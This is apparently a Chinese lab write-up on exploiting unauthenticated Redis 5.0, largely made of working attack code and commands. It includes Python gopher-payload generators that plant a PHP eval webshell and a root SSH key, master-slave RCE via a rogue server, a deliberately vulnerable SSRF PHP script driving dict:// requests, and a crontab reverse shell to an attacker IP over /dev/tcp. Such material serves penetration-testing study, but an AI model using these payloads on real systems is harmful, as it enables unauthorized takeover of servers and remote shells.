Redis系列漏洞总结

    科技2023-10-02  96

    Redis系列漏洞总结

    文章目录

    Redis系列漏洞总结环境:ubuntu16.04,redis5.0.1 redis下载及安装redis 漏洞利用方式0x01 绝对路径写shell0x02 redis 写入ssh公钥0x03 Redis主从复制getshellredis 主从结合ssrf0x04redis利用crontab定时任务反弹getshell(此方式只针对centos服务器)

    环境:ubuntu16.04,redis5.0.1

    redis下载及安装

    下载

    wget http://download.redis.io/releases/redis-5.0.0.tar.gz

    解压

    sudo tar xzvf redis-5.0.0.tar.gz

    创建文件夹

    mkdir /usr/local/redis5

    mkdir /etc/redis5

    移动文件

    cp -r redis-5.0.0/* /usr/local/redis5/

    进入安装目录进行安装

    ls /usr/local/redis5/ cd /usr/local/redis5 sudo make cd /usr/local/redis5/src/ sudo make test  //如果安装报错,更新tcl:sudo apt install tcl8.6,再重新运行 sudo make install //安装

    查看编译好的命令文件

    ls /usr/local/bin/redis-*

    --/usr/local/bin/redis-benchmark 性能测试工具 --/usr/local/bin/redis-check-aof 更新日志检查 --/usr/local/bin/redis-check-dump 本地数据文件检查 --/usr/local/bin/redis-cli 命令行操作工具 --/usr/local/bin/redis-server 服务器程序

    修改配置文件

    cd /usr/local/redis5

    cp redis.conf /etc/redis5/

    vim /etc/redis5/redis.conf

    bind 0.0.0.0(允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登,如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆) protected-mode no (如果开启则会禁止公网访问redis) daemonize yes//改为后台运行

    启动

    cd /usr/local/redis5

    redis-server /etc/redis5/redis.conf

    关闭

    redis-cli shutdown redis-cli -p 6379 shutdown redis-cli -h 192.168.9.206 -p 6379 shutdown

    (根据情况选择关闭服务器命令)

    redis 漏洞利用方式

    0x01 绝对路径写shell

    环境

    靶机ubtuntu16:118.31.47.97

    sudo apt install apache2 sudo apt install php sudo apt install php-redis sudo apt-get install libapache2-mod-php sudo apt install php-curl

    攻击主机ubuntu16 本机

    服务器:redis5.0.0,apache,php

    利用条件

    能未授权或者能通过弱口令认证访问到Redis服务器

    root权限启动redis服务

    需要知道目标的web目录绝对路径

    漏洞复现

    使用客户端连接redis数据库,并测试手动写shell

    flushall set 1 '<?php phpinfo(); ?>' config set dir /var/www/html config set dbfilename phpinfo.php save

    接下来使用gopher协议来将shell转换成RESP格式

    #!/usr/bin/env python # -*-coding:utf-8-*- import urllib protocol="gopher://" # 使用的协议 ip="118.31.47.97" #此处ip为redis服务器ip port="6379" # 目标redis的端口号 shell="\n\n<?php @eval($_POST['shell'])?>\n\n" filename="shell.php" # shell的名字 path="/var/www/html" # 写入的路径 passwd="" # 如果有密码 则填入 # 我们的恶意命令 cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

    python2运行

    在攻击机上运行

    写入成功,且可以命令执行

    0x02 redis 写入ssh公钥

    环境:

    靶机:ubtuntu16:118.31.47.97

    攻击主机:ubuntu16 本机

    服务器:redis5.0.0

    参考连接:https://www.freebuf.com/articles/web/249238.html

    https://www.wjlshare.xyz/2020/06/07/redis-%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#redis_%E5%86%99%E5%85%A5ssh%E5%85%AC%E9%92%A5

    利用条件

    目标主机开通了ssh服务

    root权限启动了redis服务

    原理

    通过向受害机写入ssh公钥,然后利用本地的私钥进行ssh登陆这样就不需要密码了

    当以root身份运行redis服务的时候,可以通过redis命令给root用户写入ssh公钥

    大致思路如下:攻击主机创建一对rsa公钥和私钥,利用gopher协议让redis执行命令将ssh公钥写入root用户(写入到/.ssh文件夹),然后ssh -i利用本地私钥直接进行免密码登陆

    漏洞复现

    本机生成密钥

    ssh-keygen -t rsa

    密钥对路径/home/zero/.ssh,但是,如果是root权限,其目录在/root/.ssh/

    改写python2脚本

    import urllib protocol="gopher://" ip="118.31.47.97" port="6379" # shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPa5vqtM0AL1AfzRCwlr3LJRVCXb/KdAGRbfogjNxC2XargLpMhTIvittfSlaVrm95dSTyttOYNbfsjIMnovtzQ6GPsQRCWRemsaulZnHvXhohdL68nf/mD9+bIlBp4wwO4juVPetB0+K7jJTYD+OmMolvNCbQN/DwNcTSnLs8b/cfoDGz6MJEbJYG9yoLdAYS22WaszBodS5vJqy9CRteCwGs0ol01LkgYs02xseljEmRLs1y3NZoLYpSEFIrsPcQNVJI/a3SMs9cihHIS6dY+6iUgPuNir9ImYXByDB3y0RbFk2/P2cNcf+K67vmBxQOWNaBy+ghz7nXT4WIBXb7 zero@zero-OS\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

    运行正常,说明成功导入

    然后回到 /root/.ssh 文件夹下,用里面的私钥通过ssh直接进行登陆

    通过下面可以发现,虽然不能使用ssh-key连接,但是,却可以使用ssh root@118.31.47.97无密码直接进入服务器

    0x03 Redis主从复制getshell

    环境

    靶机:ubuntu16 :10.0.2.6

    sudo apt install apache2 sudo apt install php sudo apt install php-redis sudo apt-get install libapache2-mod-php sudo apt install php-curl

    攻击主机:kali2020:10.0.2.5

    服务器:redis5.0.0

    参考链接:

    https://www.wjlshare.xyz/2020/06/07/redis-%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#%E5%89%8D%E8%A8%80

    https://www.freebuf.com/articles/web/249238.html

    影响版本

    4.x,5.x

    原理

    redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担。所以redis采用了主从模式来缓解。主从模式就是让一个redis作为主机,另外的redis作为从机(可以理解为备份机),然后主机和从机中的数据是完全一样的。然后主机负责写,从机负责读。通过读写分离还缓解服务端上的流量压力

    漏洞成因

    Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

    redis弱密码或者无密码

    root启动redis

    漏洞复现

    模拟主从关系

    root@kali:/home/os# redis-cli -h 10.0.2.6 10.0.2.6:6379> slaveof 10.0.2.5 6379 OK 10.0.2.6:6379> get zero (nil) 10.0.2.6:6379> exit root@kali:/home/os# redis-cli -h 127.0.0.1 127.0.0.1:6379> get zero (nil) 127.0.0.1:6379> set zero zero OK 127.0.0.1:6379> exit root@kali:/home/os# redis-cli -h 10.0.2.6 10.0.2.6:6379> get zero "zero" 10.0.2.6:6379>

    设置主从关系:

    root@kali:/home/os# redis-cli -h 10.0.2.6 10.0.2.6:6379> slaveof 10.0.2.5 6379 OK

    下载github上的cve:https://github.com/n0b0dyCN/redis-rogue-server

    两种使用方法:一种是交互式shell,另一种是反弹shell

    交互式:

    python3 redis-rogue-server.py --rhost=10.0.2.6 --lhost=10.0.2.5 --exp=exp.so

    反弹式:

    成功反弹

    ps:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从

    redis 主从结合ssrf

    环境:

    靶机:ubuntu16 :10.0.2.6

    sudo apt install apache2 sudo apt install php sudo apt install php-redis sudo apt-get install libapache2-mod-php sudo apt install php-curl

    攻击主机:kali2020:10.0.2.5

    服务器:redis5.0.0,apache,php

    参考:https://www.cnblogs.com/xiaozi/p/13089906.html

    参照Redis手动getshell的过程,可轻易实现SSRF+Redis反弹shell。

    以curl为例,漏洞代码为ssrf.php,将其放置在靶机web服务器中:

    <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>

    直接写入失败,所以可以采用主从复制写入

    清除没用的数据 ssrf.php?url=dict://10.0.2.6:6379/flushall

    设置主从关系ubuntu16为从,kali为主

    ssrf.php?url=dict://10.0.2.6:6379/slaveof:10.0.2.5:6379

    设置保存目录

    ssrf.php?url=dict://10.0.2.6:6379/config:set:dir:/var/www/html

    设置保存文件名称

    ssrf.php?url=dict://10.0.2.6:6379/config:set:dbfilename:phpinfo.php

    进入kali,写文件

    redis-cli

    set info "\n\n\n<?php phpinfo() ;?>\n\n\n"

    回到web端执行save操作

    ssrf.php?url=dict://10.0.2.6:6379/save

    切断主从复制

    ssrf.php?url=dict://10.0.2.6:6379/slaveof:no:one

    测试是否写入成功

    0x04redis利用crontab定时任务反弹getshell(此方式只针对centos服务器)

    环境

    靶机:centos6.5:10.0.2.15

    攻击主机:kali2020:10.0.2.5

    服务器:redis5.0.0

    参考:https://www.zengjunpeng.com/?id=149

    ubuntu和centos反弹shell的差异

    1.因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行 2.因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错 3.由于系统的不同,crontrab定时文件位置也会不同,Centos的定时任务文件在/var/spool/cron/,而Ubuntu定时任务文件在/var/spool/cron/crontabs/ 4.Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限

    漏洞复现

    清除防火墙并且启动redis(root权限运行)

    iptables -F redis-server /etc/redis5.0.0/redis.conf

    centos写shell

    # redis-cli 127.0.0.1:6379> CONFIG SET dir /var/spool/cron <--切换到定时任务目录 OK 127.0.0.1:6379> CONFIG SET dbfilename root <--生成一个名为root的文件 OK 127.0.0.1:6379> set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.2.5/9999 0>&1\n\n" <--设置反弹shell OK 127.0.0.1:6379> save OK 127.0.0.1:6379> exit

    kalij接受shell

    成功反弹shell

    Processed: 0.013, SQL: 8